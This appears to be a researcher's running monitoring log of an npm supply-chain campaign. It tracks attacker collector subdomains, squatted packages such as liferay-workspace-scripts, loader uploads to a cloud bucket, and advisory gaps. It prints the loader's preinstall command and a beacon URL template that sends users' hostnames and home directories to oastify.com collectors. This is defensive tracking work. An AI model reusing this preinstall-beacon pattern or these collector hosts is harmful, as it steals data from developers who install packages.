Full-token GETs ~03:3x-03:5xZ: canonical three (1vxhqpj0…/fl4vg39e…/bapr5zya…) + 1y0htpm0… ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails …jgigz/…kgigz/…lgigz/…lgjgz/…jmgigz = continuous ≈47 h (eleventh consecutive tick); ii473egh… answers zdz5vdmv… byte-identical NINTH consecutive check (~20.5 days on a September-era collector); dapnhid…oast.fun armed ctyg5utt… eleventh check; pa33pg1o…/hqbv58… armed 675404drak… per-listener tails (…jgjgz/…gogz); one-off pair 187d714…/9q0lp9mr… armed 4rgpacf6… continuous; Wix pair unl9pgk6…/orj3tao0… armed 7uznim4i…rgigz/…sgigz twenty-sixth observation; personio hrcv3zo… armed 64wd2qm5… + .oast.fun db2su65pt… 72-B tiz55pw7… dual-lane. @dransay .oast.site collector db3klhbi… armed tw6b33h8… byte-identical ≈19.6 h post-disclosure, all eight names registry-verified 200 at check, enforcement still 0-of-8. Kafka-roller collectors ARMED a THIRD check post-PyPI-purge (db3va6lr…oast.live → 72-B tcy87haf…; jw1yrpkm5xpav.httpcollaborator.com/test-hunt/ → 42-B GIF). Wave-1 INVERSION HOLDS A FIFTH CHECK, squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… armed-echoing kt8fl4da…/4ivz6quz…/c21eg1z4…, account spellings at the 1,190-B catch-all (sequence 117 flip / 118 hold / 119 hold / 120 hold / 121 hold), the standing "check-scale half-life, coin-flip cadence" description is now falsified in the persistence direction: the phase has run five consecutive checks ≈10 h; replace with bounded-persistence language until a flip is observed. NEW probe-hygiene rule the same check produced: the first wave-1 probe pass returned connection-closed (000, zero bytes) on ALL THREE squat spellings simultaneously, a never-before-seen dark-class reading, and the immediate retry answered 200 armed byte-identical. The oastify interaction front is an AWS NLB round-robining two addresses; transient resets are transport noise, NOT state. Any dark/flip reading on ANY collector must be re-probed once before it enters the ledger. NEW collector census from the same sweep (ledger-wide webhook.site class): 0492a36c… died (404) between two checks ≈3 h apart, see algamil7x hundred-twenty-first section. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twenty-first section.

October 9 one-hundred-and-twenty-second sweep (~05:2x-05:3x UTC): TWELFTH COMPLETE-FLEET ARMED CHECK, ALL ARMED BYTE-IDENTICAL, 8n0l3yjy… ≈49 h continuous (twelfth tick, past two days by four hours); WAVE-1 INVERSION HOLDS A SIXTH CHECK (117 flip → 118-122 hold ≈12 h bounded persistence); transport-noise re-probe rule held clean, zero false flips this check

Full-token GETs ~05:2x-05:3xZ: canonical five (1vxhqpj0…/fl4vg39e…/ykmefm8x…/bapr5zya…/1y0htpm0…) ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails = continuous ≈49 h (twelfth consecutive tick); ii473egh… answers zdz5vdmv… byte-identical TENTH consecutive check (~20.7 days on a September-era collector); dapnhid…oast.fun armed ctyg5utt… twelfth; pa33pg1o…/hqbv58… armed 675404drak… per-listener tails; one-off pair 187d714…/9q0lp9mr… armed 4rgpacf6… continuous; Wix pair unl9pgk6…/orj3tao0… armed 7uznim4i…rgigz/…sgigz twenty-seventh observation; personio hrcv3zo… armed 64wd2qm5… + .oast.fun db2su65pt… 72-B tiz55pw7… dual-lane; @dransay .oast.site collector db3klhbi… armed tw6b33h8… ≈21.6 h post-disclosure, all eight names registry-verified 200/99.0.0 at check, enforcement still 0-of-8; kafka-roller collectors ARMED a FOURTH check post-PyPI-purge (db3va6lr…oast.live → 72-B tcy87haf…; jw1yrpkm5xpav.httpcollaborator.com/test-hunt/ → 42-B GIF). Wave-1 INVERSION HOLDS A SIXTH CHECK, squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… armed-echoing kt8fl4da…/4ivz6quz…/c21eg1z4…, account spellings at the 1,190-B catch-all (sequence 117 flip / 118 hold / 119 hold / 120 hold / 121 hold / 122 hold ≈12 h, bounded-persistence language now measured on both sides of the range; a flip is still the only thing that reopens the half-life question). Probe-hygiene: the hundred-twenty-first's reset-retry rule applied at the front of this walk, zero 000-class readings, no false flips recorded. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twenty-second section.

October 9 one-hundred-and-twenty-fourth sweep (~11:3x UTC): FOURTEENTH COMPLETE-FLEET ARMED CHECK, ALL ARMED BYTE-IDENTICAL, 8n0l3yjy… ≈55 h continuous (fourteenth tick); WAVE-1 INVERSION FINALLY FLIPS AFTER SEVEN HOLDS, squat spellings at SUSTAINED 000-class transport dark (three re-probe passes), account spellings at catch-all = both-not-armed window like the hundred-twelfth

Full-token GETs ~11:3xZ: canonical five (1vxhqpj0…/fl4vg39e…/ykmefm8x…/bapr5zya…/1y0htpm0…) ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails = continuous ≈55 h (fourteenth consecutive tick); ii473egh… answers zdz5vdmv… byte-identical TWELFTH consecutive check (~21.1 days on a September-era collector); dapnhid…oast.fun armed ctyg5utt… fourteenth; pa33pg1o…/hqbv58… armed 675404drak… per-listener tails; one-off pair 187d714…/9q0lp9mr… armed 4rgpacf6… continuous; Wix pair unl9pgk6…/orj3tao0… armed 7uznim4i…rgigz/…sgigz twenty-ninth observation; personio hrcv3zo… armed 64wd2qm5… + .oast.fun db2su65pt… 72-B tiz55pw7… dual-lane; @dransay collector db3klhbi… armed tw6b33h8… ≈29.5 h post-disclosure, eight names still installable; kafka-roller collectors ARMED a SIXTH check post-PyPI-purge (72-B tcy87haf… + 42-B httpcollaborator GIF). WAVE-1 FLIPS: the squat spellings depcruise-baseline.3eivfb24…/commonweb-balance.s6z4w73l…/mazemap.5djpny9m… returned CONNECTION-RESET (000, zero bytes) on THREE independent probe passes spread across minutes, under the hundred-twenty-first's re-probe hygiene rule this is a sustained transport-level dark, explicitly NOT the transient NLB noise class, while all three account spellings (kt8fl4da…/4ivz6quz…/c21eg1z4…) sit at the 1,190-B catch-all = neither spelling armed. Orientation sequence: 117 flip / 118-123 hold (≈16-19 h, the ledger's longest phase) / 124 both-not-armed, the bounded-persistence model is now measured closing as well as holding; watch for squat-spelling re-arm at the next check. Fabricated-token control at the stock page as expected. Hosts/bucket unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twenty-fourth section.

October 9 one-hundred-and-twenty-fifth sweep (~13:3x UTC): FIFTEENTH COMPLETE-FLEET ARMED CHECK, ALL ARMED EXCEPT THE WAVE-1 TRIO, WHICH GOES 000-CLASS DARK ON BOTH TOKEN SPELLINGS, per-listener session teardown, not platform noise (8n0l3yjy… ≈57 h, fifteenth tick)

Full-token GETs ~13:3xZ: canonical five ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails = continuous ≈57 h (fifteenth consecutive tick); ii473egh… → zdz5vdmv… THIRTEENTH consecutive check (~21.2 days); dapnhid…oast.fun → ctyg5utt… fifteenth; Wix pair armed 7uznim4i…rgigz/…sgigz THIRTIETH observation; personio hrcv3zo… armed 64wd2qm5…; @dransay collector db3klhbi… armed tw6b33h8… ≈31.5 h; kafka collectors armed SEVENTH check post-purge (72-B tcy87haf… + httpcollaborator 42-B GIF). WAVE-1 CORRECTION + ESCALATION: the hundred-twenty-fourth read the squats dark with account spellings at catch-all; at this check BOTH spellings of all three wave-1 collectors, squat-token (3eivfb24…/s6z4w73l…/5djpny9m…) AND account-token (kt8fl4da…/4ivz6quz…/c21eg1z4…), return CONNECTION-RESET 000, zero bytes, on three independent passes ≈2 h apart, while the fabricated-token control AND every other tracked account answer 200 on the same oastify platform. Three listeners × two spellings dying simultaneously while same-platform neighbors live = per-listener session removal/teardown at the host, a class distinct from both the transient NLB reset (hundred-twenty-first) and the catch-all both-not-armed state (hundred-twelfth/twenty-fourth): catch-all HTML = listener present, session unassigned; 000 = the subdomain itself no longer served. Sequence now 117 flip / 118-123 hold / 124 squat-dark + account catch-all / 125 full 000-class dark both spellings. Re-arm watch: if the wave-1 accounts persist past session death, re-arm should carry NEW per-listener tail bodies (personio 64wd2qm5… precedent, session death ≠ fingerprint death); a byte-identical kt8fl4da…-family return instead re-opens the "session vs account" question. Full ledger: algamil7x one-hundred-and-twenty-fifth section.

October 9 one-hundred-and-twenty-sixth sweep (~17:5x UTC): SIXTEENTH COMPLETE-FLEET ARMED CHECK, 8n0l3yjy ≈60 h SIXTEENTH TICK, TWO STATE MOVEMENTS: the @dransay collector db3klhbi… goes DARK (catch-all) at first check after ~31.5 h armed, and WAVE-1 PARTIALLY RISES: the three ACCOUNT spellings return 200 catch-all while the SQUAT spellings stay 000 = the 125th's 000-class death is REVERSIBLE, sequence now 117f / 118-123 hold / 124 squat-dark + account catch-all / 125 both 000 / 126 account back to catch-all, squat still 000

Full-token GETs ~17:5xZ: canonical five (1vxhqpj0…/fl4vg39e… + sibling trio) ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails = continuous ≈60 h (sixteenth consecutive tick); ii473egh… → zdz5vdmv… byte-identical FOURTEENTH consecutive check (~21.3 days); dapnhid…oast.fun → ctyg5utt… armed sixteenth; hqbv58… → 675404drak… armed; one-off pair → 4rgpacf6… armed continuous; Wix pair → 7uznim4i…rgigz/…sgigz THIRTIETH+ observation; personio hrcv3zo… → 64wd2qm5… armed + .oast.fun twin armed; kafka collectors armed EIGHTH check post-purge (httpcollaborator GIF pixel re-verified byte-shape). NEW DARK: db3klhbi… (the @dransay-campaign collector) returns the 1,190-B stock catch-all, first dark read after continuous armed observations through the hundred-twenty-fifth (~31.5 h) = session death per the standing model; re-arm watch keyed on a NEW per-listener tail (personio 64wd2qm5… precedent: session death ≠ fingerprint death). WAVE-1 PARTIAL RETURN: kt8fl4da…/4ivz6quz…/c21eg1z4… answer 200 with the 1,190-B catch-all (present, unassigned) while depcruise-baseline.3eivfb24…/mazemap.5djpny9m… (re-probed squat hosts) stay 000 connection-reset = the subdomain-not-served class. The 125th's headline mechanic (000 = per-listener session teardown, "subdomain no longer served") now has its first reversal on the account spellings: teardown is itself reversible/re-assignable on this platform without a visible armed body, which means the two-state read needs the armed body, not just reachability, as the live signal. Fabricated-token control at stock catch-all; wave-1 re-arm watch continues on the squat spellings (a byte-identical 8n0l3yjy…-family OR a fresh prefix on any wave-1 listener is the event). Host/bucket side unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twenty-sixth section.

October 9 one-hundred-and-twenty-seventh sweep (~19:3x UTC): SEVENTEENTH COMPLETE-FLEET ARMED CHECK, 8n0l3yjy ≈62 h SEVENTEENTH TICK, WAVE-1 SQUAT SPELLINGS FULLY RE-ARMED BYTE-IDENTICAL after THREE sweeps of 000-class death = the full armed → teardown → re-armed cycle measured end-to-end; permanent-hunt-key rule now holds across the harshest state class on the ledger. Single dark reader: db3klhbi… second catch-all check

Full-token GETs ~19:3xZ: canonical five (1vxhqpj0…/fl4vg39e…/bapr5zya… + siblings) ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails = continuous ≈62 h (seventeenth consecutive tick); ii473egh… → zdz5vdmv… byte-identical FIFTEENTH consecutive check (~21.4 days); dapnhid…oast.fun → ctyg5utt… armed seventeenth; hqbv58… → 675404drakg3044f5moqo5zjjgogz armed; one-off pair 187d714j…/9q0lp9mr… → 4rgpacf6…-family armed continuous; Wix pair unl9pgk6…/orj3tao0… → 7uznim4i…rgigz/…sgigz THIRTY-SECOND observation; personio hrcv3zo… → 64wd2qm5wtjj32bjdzlzvyzjjgkgz armed + .oast.fun twin db2su65pt… → tiz55pw7xd7e8gni6nfg8amutp56us2bd armed; kafka collectors armed NINTH check post-purge (db3va6lrl89…oast.live 72-B tcy87haf… + jw1yrpkm5xpav.httpcollaborator.com 42-B GIF re-verified). WAVE-1 FULL RETURN, THE EVENT: the three SQUAT spellings 3eivfb24epw4vbhd9makdneit9z9n0bp/s6z4w73l1nqd3kibrj3mh6wuul0co2cr/5djpny9mibugmvyzxuakcrzv1m7d41upj answer ARMED with bodies kt8fl4da7rzeuk1tqvvtn7zjsgjgz/4ivz6quzi5z7j104v6c7gqzjjgigz/c21eg1z4xk74wrn5iuzfwuzjjpgigz = BYTE-IDENTICAL to their pre-death armed passes, after three consecutive sweeps of squat-side 000 connection-reset dark (124 squat-dark, 125 both-spellings-000 on three passes, 126 squat still 000). The account spellings read the 1,190-B catch-all at this check, consistent with armed (the paired spelling of an armed squat serves catch-all; armedness is readable from exactly one spelling's body). Sequence complete: 117f / 118-123 hold / 124 squat-dark / 125 both-000 / 126 account-catch-all / 127 squat ARMED, fingerprints intact. DURABLE, the ledger's strongest hunt-key statement now spans every measured state: armed → 000 teardown → re-armed restores per-listener fingerprints EXACTLY; 000 was session/subdomain death, never fingerprint death, the wave-1 account prefixes are permanent hunt keys through anything the platform does to the listener. The 125th's re-arm watch ("byte-identical return re-opens the session-vs-account question") resolves in favor of byte-identical: one tooling profile, same accounts, session cycled. ONLY DARK READER: db3klhbi… (@dransay collector) stock catch-all SECOND consecutive check (first-dark was the 126th, after ~31.5 h armed); re-arm watch continues on the personio precedent. Fabricated-token control at stock catch-all. Host/bucket side unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twenty-seventh section.

October 9 one-hundred-and-twenty-eighth sweep (~21:33 UTC): EIGHTEENTH COMPLETE-FLEET ARMED CHECK, 8n0l3yjy… ≈64 h EIGHTEENTH TICK, WAVE-1 SQUATS HOLD ARMED BYTE-IDENTICAL ONE FULL SWEEP PAST THE RE-ARM = the re-armed state is STABLE, not a transient blip. Single dark reader: db3klhbi… third catch-all check

Full-token GETs 21:33Z: canonical five 1vxhqpj0…/fl4vg39e…/bapr5zya… + siblings ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails = continuous ≈64 h (eighteenth consecutive tick); ii473egh… → zdz5vdmv1zidizj48252qdzjjgjmgz byte-identical SIXTEENTH consecutive check (~21.5 days); dapnhid…oast.fun → ctyg5utt… armed eighteenth; hqbv58… → 675404drak… armed; one-off pair → 4rgpacf6…-family armed continuous; Wix pair unl9pgk6…/orj3tao0… → 7uznim4i…rgigz/…sgigz THIRTY-THIRD observation; personio hrcv3zo… → 64wd2qm5… armed + .oast.fun twin armed; kafka collectors armed TENTH check post-purge (db3va6lrl89…oast.live + jw1yrpkm5xpav.httpcollaborator.com). WAVE-1 STABILITY CHECK #1 PASSES: squat spellings 3eivfb24… → body kt8fl4da7rzeuk1tqvvtn7zjsgjgz and 5djpny9m… → c21eg1z4xk74wrn5iuzfwuzjjpgigz at 21:33Z, byte-identical to the 127th's re-arm read one sweep earlier; the account spelling kt8fl4da… reads the 1,190-B catch-all exactly as the armed-squat/catch-all-account pairing rule predicts. The armed→teardown→re-armed cycle's END STATE now has one sweep of durability evidence. ONLY DARK READER: db3klhbi… (@dransay collector) stock catch-all THIRD consecutive check (dark since the 126th); re-arm watch continues on the personio precedent. Fabricated-token control aabbcc… at stock catch-all (platform sane). Host/bucket side unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twenty-eighth section.

October 9 one-hundred-and-twenty-ninth sweep (~23:1x UTC): NINETEENTH COMPLETE-FLEET CHECK, db3klhbi… RE-ARMS BYTE-IDENTICAL (tw6b33h8… 72-B) after THREE catch-all dark checks ≈6 h = the account-body-persistence rule scores a third measured time, 8n0l3yjy… ≈66 h nineteenth tick, wave-1 armed-squat/catch-all-account pairing HOLDS sweep-2

Full-token GETs ~23:1xZ: THE EVENT, address-validation.db3klhbi6i9hark1kegg174t38h33b6wt.oast.site answers 200 with the 72-B body tw6b33h83t471ggek1krah9i6ibhlk3bd BYTE-IDENTICAL to every pre-dark armed reading (two passes, sha-verified), after three consecutive catch-all dark checks (dark since the 126th ≈6 h). Third measured dark→armed return on a recorded permanent fingerprint, personio hrcv3zo…/64wd2qm5… (first), wave-1 squats kt8fl4da…-family (127th), now the @dransay collector: the rule "sessions die, account bodies persist" has now survived catch-all death, 000-class death, and re-arm on three separate accounts. Canonical trio 1vxhqpj0…/fl4vg39e…/bapr5zya… ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails (…jgigz/…kgigz/…lgjgz) = continuous ≈66 h (nineteenth consecutive tick); ii473egh… → zdz5vdmv… byte-identical SEVENTEENTH check (~21.6 days); dapnhid…oast.fun → ctyg5utt… armed nineteenth; pa33pg1o… → 675404drak… + hqbv58hg… armed; one-off pair 187d714j…/9q0lp9mr… → 4rgpacf6…-family armed continuous; Wix pair unl9pgk6…/orj3tao0… → 7uznim4i…rgigz/…sgigz THIRTY-FOURTH observation; personio hrcv3zo… → 64wd2qm5… armed + .oast.fun twin db2su65pt… → tiz55pw7… 72-B armed; kafka collectors armed ELEVENTH check post-purge (db3va6lrl89…oast.live 72-B tcy87haf… + jw1yrpkm5xpav.httpcollaborator.com 42-B GIF re-verified byte-shape). WAVE-1 STABILITY CHECK #2 PASSES: squat spellings 3eivfb24…/s6z4w73l…/5djpny9m… ALL answer ARMED echoing kt8fl4da…/4ivz6quz…/c21eg1z4… bodies (sha-stable across two passes) while the ACCOUNT spellings read the 1,190-B catch-all, same pairing orientation as the 128th = the re-armed end state is now two full sweeps durable; per-token session oscillation continues, bodies invariant. NO dark readers remain on the tracked roster. Fabricated-token control at stock 1,190-B catch-all (platform sane). Host/bucket side unchanged, no wave-5. Full ledger: algamil7x one-hundred-and-twenty-ninth section.

October 10 one-hundred-and-thirtieth sweep (~01:2x UTC): TWENTIETH COMPLETE-FLEET CHECK, db3klhbi… ARMED-STABILITY CHECK #2 PASSES (second consecutive armed pass byte-identical post-re-arm) and WAVE-1 PAIRING HOLDS SWEEP-3 on FULL tokens, 8n0l3yjy… ≈68 h twentieth tick, PROBE-HYGIENE RE-CONFIRMED: a shorthand s6z4w73l host read catch-all while the full recorded token answered ARMED on the same pass = truncated tokens are different listeners, never state flips

Full-token GETs ~01:2xZ: address-validation.db3klhbi6i9hark1kegg174t38h33b6wt.oast.site armed 200/72-B tw6b33h83t471ggek1krah9i6ibhlk3bd = SECOND consecutive armed pass after the 129th's re-arm = the dark→armed→stable cycle now has two sweeps of end-state durability (matches what wave-1 squats banked after their 127th re-arm). WAVE-1 STABILITY CHECK #3 PASSES: depcruise-baseline.3eivfb24epw4vbhd9makdneit9z9n0bp → body kt8fl4da7rzeuk1tqvvtn7zjsgjgz, depcruise-baseline.s6z4w73l1nqd3kibrj3mh6wuul0co2cr → 4ivz6quzi5z7j104v6c7gqzjjgigz, mazemap.5djpny9mibugmvyzxuakcrzv1m7d41upj → c21eg1z4xk74wrn5iuzfwuzjjpgigz, all three squat spellings armed byte-identical, account spellings at the 1,190-B catch-all, same pairing orientation as the 127th/128th/129th. Hygiene footnote: an abbreviated depcruise-baseline.s6z4w73l host in the first probe batch returned the catch-all; the FULL-token spelling probed minutes later answered armed, the oastify front serves a real per-listener answer per exact subdomain, so any flip reading on an abbreviated host is void until re-probed on the recorded full token (extends the 121st's reset rule to token-completeness). Canonical trio 1vxhqpj0…/fl4vg39e…/bapr5zya… ARMED byte-identical 8n0l3yjy9840z4tan9r91vz-family tails (…jgigz/…kgigz/…lgjgz) = continuous ≈68 h (twentieth consecutive tick); ii473egh… → zdz5vdmv… byte-identical EIGHTEENTH check (~21.7 days); dapnhid…oast.fun → ctyg5utt… armed twentieth; personio hrcv3zo… → 64wd2qm5… armed + .oast.fun twin db2su65pt… → tiz55pw7… 72-B armed; Wix pair unl9pgk6…/orj3tao0… → 7uznim4i…rgigz/…sgigz THIRTY-FIFTH observation; one-off pair 187d714…/9q0lp9mr… → 4rgpacf6…-family (…jglgz/…kgjgz) armed continuous; kafka collectors armed TWELFTH check post-purge (db3va6lrl89…oast.live72-Btcy87haf…+jw1yrpkm5xpav.httpcollaborator.com/test-hunt/` 42-B GIF re-verified). NO dark readers on the tracked roster. Fabricated-token control at stock 1,190-B catch-all (platform sane). Host/bucket side unchanged, no wave-5. Full ledger: one-hundred-and-thirtieth section.

October 10 one-hundred-and-thirty-first sweep (~05:4x UTC): TWENTY-FIRST COMPLETE-SCOPE CHECK, WAVE-1 PAIRING SEVERS SWEEP-4 (all six wave-1 hosts catch-all) AND THE LEDGER'S FIRST OBSERVED LIVE LISTENER REBIND: mazemap.5djpny9m… serves a NEVER-ON-LEDGER body jpu14d7m…, the subdomain survives, the fingerprint does NOT, db3klhbi… ARMED-STABILITY CHECK #3 PASSES, kafka collector THIRTEENTH post-purge

Full-token GETs ~05:4x UTC (prefixed hosts need -k/http, single-label wildcard cert; three-pass verified, https + http): THE EVENT, mazemap.5djpny9mibugmvyzxuakcrzv1m7d41upj.oast.site answers 200 with 72-B body jpu14d7m1vzrckauxzyvmgubim9ynpjd5, byte-identical across THREE passes, a body that appears NOWHERE in the ledger's prior record (grep across all wiki pages + memory: zero hits), the same exact recorded listener served c21eg1z4xk74wrn5iuzfwuzjjpgigz four hours earlier at the 130th. [ONE-HUNDRED-AND-THIRTY-THIRD RETRACTION: this entire "live listener rebind" reading is VOID, .oast.site is an Interactsh resolver and jpu14d7m1vzrckauxzyvmgubim9ynpjd5 is 5djpny9mibugmvyzxuakcrzv1m7d41upj's host label REVERSED, the platform's echo, not attacker content; no rebind occurred. The .oast.site-spelling wave-1 probes from the 129th forward (incl. db3klhbi… armings/stability-checks, kafka .oast.live rail, personio .oast.fun twin) are ALL void under the same rule; the *.oastify.com Burp-lane wave-1 sequence stands. Full mechanic: 133rd section.] This is the ledger's first observation of live listener content REPLACEMENT under a persistent subdomain: a third state class distinct from catch-all (listener present/unassigned) and 000 (subdomain unserved). DURABLE BOUND on the strongest hunt-key claim: armed→000→re-armed restores fingerprints exactly (124th-127th), but reassignment to a DIFFERENT operator interaction overwrites them, account prefixes are permanent hunt keys through session death, NOT through rebind. Remaining wave-1 hosts (3eivfb24…, s6z4w73l… squats + kt8fl4da…, 4ivz6quz…, c21eg1z4… accounts): ALL catch-all = the armed-squat/catch-all-account pairing orientation SEVERS at sweep 4; with 5djpny9m… rebound, the wave-1 listener set is now partly re-assigned platform-side, treat per-listener rather than as one campaign surface. Catch-all body itself read 651-B Interactsh-server default vs the 1,190-B catch-all recorded from the 117th on = platform-side default-page churn, flagged not interpreted. address-validation.db3klhbi… armed 200/72-B tw6b33h8… BYTE-IDENTICAL = ARMED-STABILITY CHECK #3 PASSES (third consecutive armed pass post-129th re-arm; the longest end-state durability streak on the ledger). kafka collector db3va6lrl89…oast.live 200/72-B THIRTEENTH check post-purge. Fabricated-token control at catch-all (platform sane). NOT CHECKED (spellings not on hand this window; probe-hygiene rule forbids recording transitions from absence): canonical 1vxhqpj0…/fl4vg39e…/bapr5zya… (8n0l3yjy… ~70 h streak carried from the 131st's ledger section as UNCHECKED, not dark), Wix pair, personio dual-lane, September collectors, resume next sweep with full recorded tokens. Full ledger: one-hundred-and-thirty-first section.

October 10 one-hundred-and-thirty-fourth sweep (~11:2x-11:5x UTC): WAVE 5, THE BUCKET CLOCK FIRES ITS FOURTH TIME IN ITS SHARPEST SHAPE YET: 3.8.4 + 3.8.5 uploaded 135 s APART (the ledger's first multi-object burst since Oct 2), TWO hosts built within 4 min of their loaders, one advised in 12.5 min and the other ZERO OSV + ZERO GHSA ≈2.4 h after publish, this wiki caught the second one off the bucket clock, not off any advisory

The standing pulse-watch resolved a fourth time, and this time it resolved as the predicted burst: ltidisafe-3.8.4.tgz (1,948 B, sha256 5701e9470aa190a7…, GCS Last-Modified 09:14:26Z, generation 1791623666806482) and ltidisafe-3.8.5.tgz (1,953 B, sha256 af4807300e124437…, Last-Modified 09:16:31Z, generation 1791623790948495) both serve 200; next-counter probes 3.9.0/4.0.0 still 403. Two objects inside 135 s = the multi-object-burst = multi-name-wave rule from the bucket-clock section fires on schedule.

Host 1 (advised): @library-wide/library-shell@99.9.1, created 09:15:34Z (0.0.0-stage) / 99.9.1 published 09:18:14Z = 228 s after its loader 3.8.4 landed; publisher whltd1 <whltd1@comcesync.com>, hollow index.js (module.exports = {}, 35 B unpacked), sole dependency the 3.8.4 bucket URL, tgz sha256 fb8fc998cb070098… (shasum 7b62817a…). MAL-2026-17754 (ossf-package-analysis, published 09:30:50Z, origin import 09:43:43Z, scope ['99.9.1'], aliases None) = publish→OSV ≈12.5 min. ZERO GHSA at check (affects= empty); registry doc STILL 200 with non-empty versions ≈2 h post-advisory; downloads API package not found = too new to index (per the ninety-third's rule, not erasure). Beacon label library-wide = scope-alone, same grammar as airbnb-extended/pinecone-experience.

Host 2 (UNADVISED, the sweep's headline): liferay-workspace-scripts@99.9.1, created 09:16:54Z, 23 s after its loader 3.8.5 landed, 99.9.1 published 09:20:04Z (213 s); same whltd1 account, same hollow-stub + bucket-dependency shape (tgz sha256 bd5404255a3c6805…, shasum 62c78a43…); impersonates the real Liferay tooling name at the canonical unscoped spelling. At this wiki's ~11:4xZ check: OSV name-query {} (no record), GHSA affects= [], doc 200, tarball live = ZERO OSV + ZERO GHSA ≈2.4 h post-publish. The 3.8.4 sibling got its ID in 12.5 min, the machine lane advised one name of the same bucket, same publisher, same build pipeline, minutes apart, and missed the other. The standing family rule ("when one scripted-family name is advised, check the whole family") now has its sharpest demonstration: this wiki found the second host off the bucket clock, not off any advisory, GCS Last-Modified on the counter is a pre-advisory detection surface, ~2.5 h ahead of where the advisory lane happened to land.

Collectors: TWO fresh tokens armed on the SAME 8n0l3yjy… account, wave 5 never moved the Collaborator account. Pulled payloads (loader test.js, both versions): beacon grammar unchanged (http://<hex(user|hostname|homedir)>.<label>.<token>.oastify.com, preinstall: node test.js > /dev/null 2>&1, description ltidisafefidelitypvd3); 3.8.4 = library-wide.p8y53dwo2f8wo8wf8gqb7aojrax5lv9k, 3.8.5 = liferay-workspace-scripts.z00fvnoyup06giop0qilzkgtjkpgd61v. Canonical-domain full-token GETs: both ARMED, 55-B bodies 8n0l3yjy9840z4tan9r91vzjngigz and …jogigz = the 8n0l3yjy9840z4tan9r91vz account prefix, per-listener tails continuing the observed alphabetical ladder (…j[k/l/l/m]igz era → now n/o). The fingerprint rule scores pre-attribution on freshly minted wave-5 tokens: wave 5 provably shares the Burp account with waves 2-4; any future *.oastify.com sighting with that body prefix is this campaign, readable before payload analysis.

Probe-hygiene REFINEMENT (durable): two fabricated first-label GETs under each ARMED collector subdomain (aa1f7c3d.library-wide.p8y53…oastify.com, qxfake7z.library-wide.…) returned the listener's OWN armed body, byte-identical to the token probe = an armed Burp collector wildcard-serves its configured body to ANY first label beneath it. Consequences: (1) the fabricated-label control is only meaningful at the BARE *.oastify.com level (catch-all there), not under an armed subdomain, a body there proves the LISTENER, not the label; (2) conversely, ANY resolver hit under a known collector subdomain is a victim beacon regardless of its first label (the label slots carry hex victim data by design), resolver-log hunts key on the collector subdomain, not the leftmost label.

Fleet enforcement ledger at check (~11:4xZ): 7-of-7 live, zero action ever. All five GHSAd hosts (airbnb-extended day-15, smwebserver day-8, risk-detection/unified-platform day-5, pinecone-experience day-4) docs 200 99.9.1 whltd1; plus @library-wide/library-shell (advised ~2 h, live) plus liferay-workspace-scripts (unadvised, live). The bucket has served unbroken May 20 → Oct 10 through five loader generations; the publisher account has never drawn action; seven hosts, zero holders. whltd1-direct registry query is the only complete fleet view (search de-indexed).

Monitor: 3.9.0/4.0.0 counter probes; whether liferay-workspace-scripts ever draws its OSV (name-query repeat = machine-lane per-name scan clock measured live); GHSA mirror arrival for 17754 + aliases join; whether the 3.8.5 host iterates past scope like kmf did; npm action on the seven live hosts; re-registration watch unchanged.

October 10 one-hundred-and-thirty-fifth sweep (~13:3x UTC): TWENTY-THIRD BURP-LANE CHECK, BOTH WAVE-5 COLLECTORS ARMED AGAIN, BYTE-IDENTICAL = ~78 h on the 8n0l3yjy… account, wildcard-label mechanic CONFIRMED FROM THE OTHER SIDE: fabricated labels under the BARE account domain read the stock catch-all, while under an ARMED listener subdomain they inherit the listener body, Wix second dark check

Full-token GETs ~13:3xZ (http, canonical domains per the 133rd hygiene rule): library-wide.p8y53dwo2f8wo8wf8gqb7aojrax5lv9k + liferay-workspace-scripts.z00fvnoyup06giop0qilzkgtjkpgd61v both 200 55-B …jngigz/…jogigz byte-identical to the 134th's first-observation readings = wave-5 listeners stable across two checks. Fabricated-label control at the ACCOUNT level (qqxf7mzq2k.8n0l3yjy…) returned the stock 1,190-B catch-all page = the pair's wildcard serving is scoped to the armed listener subdomain itself, exactly as the 134th's mechanic predicts, hunting stays keyed on collector subdomains. Bare 8n0l3yjy… catch-all (canonical five UNCHECKED this window, full spellings not re-probed, not dark, per the absence rule); ii473egh… account-level catch-all (same UNCHECKED-for-listener note); Wix unl9pgk6… catch-all SECOND consecutive check (dark since the 134th; re-arm keyed on the 7uznim4i… body). Bucket side: counter quiet, 3.8.6/3.8.7/3.9.0/4.0.0 all 403 on the .tgz canonical rail, 3.8.5 generation unchanged 1791623790948495 (bucket list is ACL-denied; object-probe rail is the only view, probe-shape note). Hosts: library-shell doc-API 200 versions ['0.0.0-stage','99.9.1'] intact ~4 h post-OSV/1 h post-GHSA; liferay-workspace-scripts STILL ZERO OSV + ZERO GHSA ~4.5 h post-publish, versions intact, tarball 200 = the 134th's per-name scan-gap keeps widening. Full ledger: one-hundred-and-thirty-fifth section.

October 10 one-hundred-and-thirty-sixth sweep (~15:2x-15:5x UTC): TWENTY-FOURTH BURP-LANE CHECK, SIX ARMED LISTENER BODIES ACROSS THREE ACCOUNTS AT ONE CHECK: WAVE-5 PAIR STABLE THIRD PASS (~80 h streak), WIX WAVE-3 unl9pgk6… RE-ARMS BYTE-IDENTICAL AFTER TWO DARK CHECKS, orj3tao0… AND THE ONE-OFF 4rgpacf6… PAIR ARMED

